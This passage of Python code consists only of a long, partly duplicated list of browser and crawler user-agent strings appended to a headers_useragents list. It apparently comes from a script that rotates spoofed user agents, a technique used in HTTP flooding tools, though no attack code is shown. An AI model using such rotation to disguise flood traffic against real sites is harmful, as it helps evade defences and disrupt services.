Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0') headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g') headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)') headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)') headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0') headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10') headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)') headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16') headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7') headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007') headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)') headers_useragents.append('Googlebot/2.1 (http://www.googlebot.com/bot.html)') headers_useragents.append('Opera/9.20 (Windows NT 6.0; U; en)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)') headers_useragents.append('Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16') headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7') headers_useragents.append('Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)') headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)') headers_useragents.append('YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0') headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g') headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)') headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)') headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0') headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10') headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)') headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16') headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7') headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007') headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0') headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g') headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)') headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)') headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0') headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10') headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)') headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16') headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7') headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007') headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179') headers_useragents.append('Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com') headers_useragents.append('Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)') headers_useragents.append('Mozilla/4.0 (compatible; Arachmo)') headers_useragents.append('Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)') headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)') headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)') headers_useragents.append('Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)') headers_useragents.append('BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)') headers_useragents.append('Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)') headers_useragents.append('Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)') headers_useragents.append('Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)') headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )') headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )') headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)') headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)') headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)') headers_useragents.append('Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1') headers_useragents.append('Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)') headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A') headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 3.55)') headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 2.00)') 